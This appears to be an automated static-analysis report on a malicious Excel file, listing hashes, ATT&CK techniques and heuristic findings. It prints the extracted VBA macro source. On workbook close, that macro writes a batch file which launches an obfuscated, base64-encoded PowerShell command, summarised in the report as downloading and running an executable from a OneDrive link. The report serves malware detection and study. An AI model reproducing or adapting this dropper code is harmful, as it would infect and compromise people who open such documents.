Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4dc7dbed21262ea8…

MALICIOUS

Office (OOXML)

392.1 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-14
MD5: 13bbd7c70a6f317d0be90b4a9de56c8e SHA-1: 625fa8618ca17ebc468fd44b453669b179d58e41 SHA-256: 4dc7dbed21262ea8b24b52319aedc2ec9a9578571947b7534f0c2f24536eebd7
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an Excel document containing VBA macros that instruct the user to enable content. Upon enabling, the Workbook_BeforeClose event triggers, which executes a PowerShell command. This command is obfuscated but reconstructs to download a payload from 'http://onedrive.live.com/download?cid=66C4B4BC216B79&resid=66C4B4BC216B79%21217&authkey=AJD0YmdmkCnajf&' and saves it as 'PbrocName = "Pqoeumvwgzhqleie.exe"'. The script then attempts to execute this downloaded file using PowerShell.

Heuristics 7

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844732
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844732 Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844741Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844736Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844747Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844746Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844728Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844735Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844725Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844738Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844749Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=846285Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844745Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844751Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844743Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844750Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844726Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844742Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844734Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5695 bytes
SHA-256: ecf5a302c4f3c20c32022c20d46134d61035d292a8b2fdfbe4b35d9a4074409e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim enc As String
enc = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBQAGgAcQBvAGUAbQB2AHcAZwB6AGgAcQBsAGUAZQBpAC4AZQB4AGUAIgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBkAHIAaQB2AGUALgBsAGkAdgBlAC4AYwBvAG0ALwBkAG8AdwBuAGwAbwBhAGQAPwBjAGkAZAA9ADYANgBDAEEAQgA0AEIAQwBFADIAMQA2AEIAQgA3ADkAJgByAGUAcwBpAGQAPQA2ADYAQwBBAEIANABCAEMARQAyADEANgBCAEIANwA5ACUAMgAxADIANwAxACYAYQB1AHQAaABrAGUAeQA9AEEASgBEADAAWQBtAGQAbQBrAE4AQwBuAGEAZgBjACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
ActiveWorkbook.Save
batch = "Xvutvdwwwhufojbtme.bat"
Open batch For Output As #1
    Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + enc
    Close #1
    i = Shell(batch, 0)
End Sub

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub


Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub

Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "7. Drop-downs"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
A
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: ad374191e1c301357be28b0c9c2edab53bd4b76cbb59c3e6241d636edb795b36

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